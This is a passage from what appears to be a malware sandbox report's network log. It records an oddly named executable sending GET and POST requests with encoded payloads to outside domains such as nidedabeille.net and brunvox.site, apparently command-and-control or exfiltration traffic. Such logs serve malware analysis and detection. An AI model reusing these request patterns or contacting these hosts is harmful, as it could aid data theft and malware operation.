Nov 5, 2024 15:34:56.308661938 CET	1289	OUT	Data Raw: 43 41 6f 52 5a 72 34 56 49 77 50 7a 51 7a 59 72 64 67 43 42 72 33 6e 48 4f 43 6d 69 6d 55 56 53 35 67 4a 34 6f 6e 4a 49 73 6f 5a 45 67 41 53 59 62 66 69 6c 53 30 30 41 78 56 4a 32 34 6a 48 74 42 64 4f 53 38 6c 6e 49 35 43 6c 57 47 72 2b 61 6b 63 Data Ascii: CAoRZr4VIwPzQzYrdgCBr3nHOCmimUVS5gJ4onJIsoZEgASYbfilS00AxVJ24jHtBdOS8lnI5ClWGr+akczWtV14ruwwfD+weMzPkIDqPyblDKidVXIyAM0VKs06b71VCLXWZ8DxvmMGB/w60ZZeBmcME9Blx4G8NkycAGzCl2flyDsJeOvSVMqK7KpjXiF4b15hy1qzlrww+x6Gx2gpbQfd9rJZkcB/QBK7CizP3ul1P6NIC1N
Nov 5, 2024 15:34:56.308712006 CET	5317	OUT	Data Raw: 55 6b 4e 59 6a 4e 33 42 52 6f 72 6d 6c 47 45 4f 41 30 34 71 41 2f 67 4d 6b 75 34 63 70 65 33 5a 76 35 47 4e 64 54 4d 57 32 37 67 6a 39 64 4d 38 45 46 2b 59 2b 61 57 5a 42 34 62 36 53 32 7a 44 6e 45 55 79 47 61 6f 7a 77 48 76 47 47 78 4f 43 62 53 Data Ascii: UkNYjN3BRormlGEOA04qA/gMku4cpe3Zv5GNdTMW27gj9dM8EF+Y+aWZB4b6S2zDnEUyGaozwHvGGxOCbSd4EYknGHRKJgJ1ZOIJ/YuVed8D3OzKoL3n4X8xr4OVQ0GbGLQMwVP0ZC+TY9uuz5EEuv8WXqqnTjFpRtVhJgP1+YgeQn7fBAcPyiTdshHrefWJpSh86b3sBXG+smwgaLnwDaS6V2Mf9B9wN2J1Mb/aQFGra5/ljd5
Nov 5, 2024 15:34:56.766845942 CET	643	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:56 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49757	119.18.54.27	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:59.268990040 CET	457	OUT	GET /44hl/?Q2_4=0mQqee+UGJnUA/Yx1BcY9bAABUibbqUVx0XTpT1xrmayiD/fNEmP8Z3r8TZ3vglxtN5riIpUZVEdwgctiqwj4JSuSDuD97XK84LsZQ3P19o3XG1/uWMy0C8=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.wonders8.live User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:34:59.775443077 CET	844	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a [TRUNCATED] Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49758	195.110.124.133	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:13.574532032 CET	735	OUT	POST /oy0l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.nidedabeille.net Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/oy0l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 69 65 2b 51 36 7a 6c 46 42 68 75 66 49 44 64 4c 68 4f 49 32 78 6e 64 4c 30 5a 36 35 34 6c 4d 55 38 59 34 48 54 38 35 61 66 6a 33 61 66 4d 53 35 34 52 6e 47 68 52 66 68 54 6f 48 39 6f 74 6c 4c 75 56 7a 6e 58 43 49 38 30 71 53 79 44 70 6b 44 30 6f 44 51 4d 30 2f 31 50 74 45 2b 51 56 75 30 70 44 4f 33 33 4e 66 36 6e 30 69 49 71 47 43 54 4e 4f 46 74 41 59 39 72 45 45 79 4a 79 64 41 77 36 56 78 6c 59 31 72 57 62 32 41 50 4a 53 4f 76 36 37 59 4c 42 6f 32 54 63 50 65 53 59 77 33 48 6c 4c 68 36 6b 2f 4b 61 68 39 4c 5a 71 41 52 66 33 46 4e 4a 46 46 43 75 49 56 6e 66 4a 37 4e 77 4b 41 3d 3d Data Ascii: Q2_4=ie+Q6zlFBhufIDdLhOI2xndL0Z654lMU8Y4HT85afj3afMS54RnGhRfhToH9otlLuVznXCI80qSyDpkD0oDQM0/1PtE+QVu0pDO33Nf6n0iIqGCTNOFtAY9rEEyJydAw6VxlY1rWb2APJSOv67YLBo2TcPeSYw3HlLh6k/Kah9LZqARf3FNJFFCuIVnfJ7NwKA==
Nov 5, 2024 15:35:13.774205923 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:13 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49759	195.110.124.133	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:16.304152012 CET	755	OUT	POST /oy0l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.nidedabeille.net Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/oy0l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 69 65 2b 51 36 7a 6c 46 42 68 75 66 49 6a 4e 4c 73 4e 67 32 34 6e 64 4b 34 35 36 35 33 46 4d 49 38 59 30 48 54 39 38 58 66 51 54 61 63 75 4b 35 37 54 50 47 6d 52 66 68 59 49 48 43 6e 4e 6c 36 75 56 76 56 58 47 49 38 30 71 57 79 44 6f 34 44 31 65 4c 54 4e 6b 2f 7a 45 4e 45 38 65 31 75 30 70 44 4f 33 33 4a 33 41 6e 30 71 49 74 32 79 54 4f 73 74 73 63 6f 39 71 44 45 79 4a 35 39 42 35 36 56 77 47 59 30 47 7a 62 30 49 50 4a 51 57 76 35 71 59 49 62 34 33 59 54 76 66 75 58 51 79 41 6b 50 56 35 76 75 69 59 35 75 54 38 76 57 41 46 71 33 35 74 47 57 65 63 4d 6c 65 33 4c 35 4d 72 58 43 33 51 6c 55 55 6c 63 4a 5a 4b 37 79 47 7a 66 6c 52 62 68 47 34 3d Data Ascii: Q2_4=ie+Q6zlFBhufIjNLsNg24ndK45653FMI8Y0HT98XfQTacuK57TPGmRfhYIHCnNl6uVvVXGI80qWyDo4D1eLTNk/zENE8e1u0pDO33J3An0qIt2yTOstsco9qDEyJ59B56VwGY0Gzb0IPJQWv5qYIb43YTvfuXQyAkPV5vuiY5uT8vWAFq35tGWecMle3L5MrXC3QlUUlcJZK7yGzflRbhG4=
Nov 5, 2024 15:35:16.504554033 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:16 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49760	195.110.124.133	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:19.042628050 CET	2578	OUT	POST /oy0l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.nidedabeille.net Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/oy0l/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 69 65 2b 51 36 7a 6c 46 42 68 75 66 49 6a 4e 4c 73 4e 67 32 34 6e 64 4b 34 35 36 35 33 46 4d 49 38 59 30 48 54 39 38 58 66 51 62 61 66 64 43 35 34 79 50 47 6e 52 66 68 45 34 48 44 6e 4e 6c 64 75 56 6d 65 58 47 4d 47 30 6f 65 79 42 4b 63 44 79 73 6a 54 44 6b 2f 7a 4c 74 45 39 51 56 75 62 70 48 71 37 33 4e 54 41 6e 30 71 49 74 77 65 54 5a 75 46 73 50 34 39 72 45 45 79 4e 79 64 41 63 36 56 34 34 59 30 79 4e 62 46 6f 50 48 51 47 76 2f 59 67 49 44 6f 33 61 57 76 66 32 58 52 4f 50 6b 4f 38 4b 76 74 2b 79 35 6f 33 38 6a 68 74 67 34 58 4e 7a 54 33 79 33 45 55 32 32 42 34 73 49 64 31 72 2f 68 6d 45 62 63 4f 42 7a 31 44 4f 36 43 41 46 75 2f 78 46 4f 4b 4b 55 31 76 68 36 4e 6e 79 39 75 53 46 66 64 33 46 4a 39 39 34 59 4d 32 41 51 32 35 78 4a 64 52 4a 4b 59 72 32 34 6d 47 65 62 66 74 56 4a 4a 4c 35 41 6b 65 48 34 61 52 33 4e 46 50 46 2f 35 78 57 6e 67 44 49 2b 31 50 41 39 59 64 77 37 47 79 67 66 75 52 77 54 49 54 34 6a 32 6e 6f 55 70 72 35 70 6b 79 7a 55 44 37 69 42 74 4a 37 74 43 33 67 34 57 6c [TRUNCATED] Data Ascii: Q2_4=ie+Q6zlFBhufIjNLsNg24ndK45653FMI8Y0HT98XfQbafdC54yPGnRfhE4HDnNlduVmeXGMG0oeyBKcDysjTDk/zLtE9QVubpHq73NTAn0qItweTZuFsP49rEEyNydAc6V44Y0yNbFoPHQGv/YgIDo3aWvf2XROPkO8Kvt+y5o38jhtg4XNzT3y3EU22B4sId1r/hmEbcOBz1DO6CAFu/xFOKKU1vh6Nny9uSFfd3FJ994YM2AQ25xJdRJKYr24mGebftVJJL5AkeH4aR3NFPF/5xWngDI+1PA9Ydw7GygfuRwTIT4j2noUpr5pkyzUD7iBtJ7tC3g4WlTbMH99aCOyvM6tGfBiuqGt4g/aMDYVOTLL4CZxvcGj/ci8UgYqm1sbP1m4hhkD00y7AKAhqWmBRYzAkKy+WHo480SfDCr1gRXLU0+RT6PEXPgebTe1IxDfjC6jFecx6q7QXRVQOvFNvDMjUR8q2Kxyl0eDfSqVcMlq+SNAMpib/J80w+bkxtwHCeeNaK5Xhwq/olhFfazsIkdg6YgY5/XM8FmMrsbxcCOMuwZkuSVZ4hZ6W5xKrR0FtJLRql/AzqhQ36gtnd81DpOoeHii+wRQv3Pan3WARFWXnEgDiYzozSfmAlzITW+PlkC5RWRNbS48gvF2EZCAz9s0BKHVzUUc6UvNinFdI/iEJHUBoc66YvqNfaav9naC7HKkm42s3Xsd55hC/O1ESEy6DGKv/2/Q9/+nL3+IfAoVvyHOWS519pyq3X2oNR0NzH9+r9eDkM9Xaerfvd7zKd2VIW8VE9ORTJk6IY4GQeotvEZxjkWA0bsmvNUwTzNhu48rANPb73k9yxrb4rezI7Oe1qDxcBgCqVRCKfyG53tvNoerjL/j4tTKZFOssHItrPi+PoDZlbgSD2tnTbqv7fROgW0CSCxwCjDyREiCIHNpuPtyP6GcD+g/kQWPxHcORg+rAVUmej5AGb3HI0gbyEuZsvZLPENO3yrHDKD279xO [TRUNCATED]
Nov 5, 2024 15:35:19.042659998 CET	5326	OUT	Data Raw: 4e 64 34 6e 59 71 6a 45 47 75 7a 6c 66 50 4c 63 5a 47 6c 31 6d 6b 2b 6b 79 44 7a 79 33 2b 6b 52 59 4a 35 56 46 46 43 35 38 62 71 4c 4e 37 49 4d 4c 75 73 7a 43 6b 50 71 6e 43 2b 4b 70 54 42 57 6b 4e 67 33 4f 77 74 35 6d 45 58 48 36 51 56 6d 43 71 Data Ascii: Nd4nYqjEGuzlfPLcZGl1mk+kyDzy3+kRYJ5VFFC58bqLN7IMLuszCkPqnC+KpTBWkNg3Owt5mEXH6QVmCq6wr6mAaMpg0Lz3xgzMoNbKNEy3mY94c7mvi1/0Rlja/vCs9CBpHuzmgVJbvgHAVPdnNqK9hsI8gPrbyOwkMETWEOzBwvn9hPQnakI2XVKY0EIcwYCseuOxHDfPAGm/NHPbpwYEip1xTZZ/gD9SdQMHrdNtORQY286
Nov 5, 2024 15:35:19.245040894 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:19 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49761	195.110.124.133	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:21.771250010 CET	460	OUT	GET /oy0l/?uXP=1HX8&Q2_4=vcWw5DdjdQnkJmRMu9Bv0nYhxIjg8XNP87kLKcEwcjL/VJXYlRnLhwXYdIbeiM5Wp1LHJGQmwLmzd8N63pnOImbiL9MWYGLhlQi4+Y3hzWOb/gf9Ze4XcY0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.nidedabeille.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:35:21.972999096 CET	367	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:21 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49762	203.161.41.204	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:27.296200037 CET	723	OUT	POST /3qrm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.brunvox.site Origin: http://www.brunvox.site Referer: http://www.brunvox.site/3qrm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 77 32 6d 33 4d 38 58 37 33 44 47 56 32 6e 53 33 7a 45 4e 61 77 47 73 4a 42 32 39 79 70 6b 76 77 7a 54 46 30 68 77 79 6a 6a 76 6c 55 6f 31 47 41 31 34 6d 50 77 65 4b 4a 45 41 38 6f 36 47 65 37 5a 63 32 72 71 33 79 41 38 39 33 6b 51 78 4f 62 45 57 6a 6f 74 37 36 39 53 2f 41 4a 61 33 2f 79 5a 72 6c 73 48 70 31 47 4e 6a 67 4e 4c 48 53 63 4f 78 67 78 73 54 6a 61 51 33 34 49 6b 76 55 67 73 59 4c 49 46 62 69 34 2f 4e 4d 6f 78 55 62 49 32 37 50 36 35 63 65 36 49 34 52 4b 4d 56 46 66 6a 34 76 62 48 6b 6e 36 44 75 6e 67 77 67 4c 72 74 41 32 47 66 4d 4e 36 72 61 41 30 33 38 34 7a 67 3d 3d Data Ascii: Q2_4=gw2m3M8X73DGV2nS3zENawGsJB29ypkvwzTF0hwyjjvlUo1GA14mPweKJEA8o6Ge7Zc2rq3yA893kQxObEWjot769S/AJa3/yZrlsHp1GNjgNLHScOxgxsTjaQ34IkvUgsYLIFbi4/NMoxUbI27P65ce6I4RKMVFfj4vbHkn6DungwgLrtA2GfMN6raA0384zg==
Nov 5, 2024 15:35:27.504525900 CET	896	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:35:27 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49763	203.161.41.204	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:35:29.998555899 CET	743	OUT	POST /3qrm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.brunvox.site Origin: http://www.brunvox.site Referer: http://www.brunvox.site/3qrm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 67 77 32 6d 33 4d 38 58 37 33 44 47 55 58 58 53 78 67 73 4e 53 77 47 6a 4d 42 32 39 34 4a 6b 72 77 7a 66 46 30 67 31 76 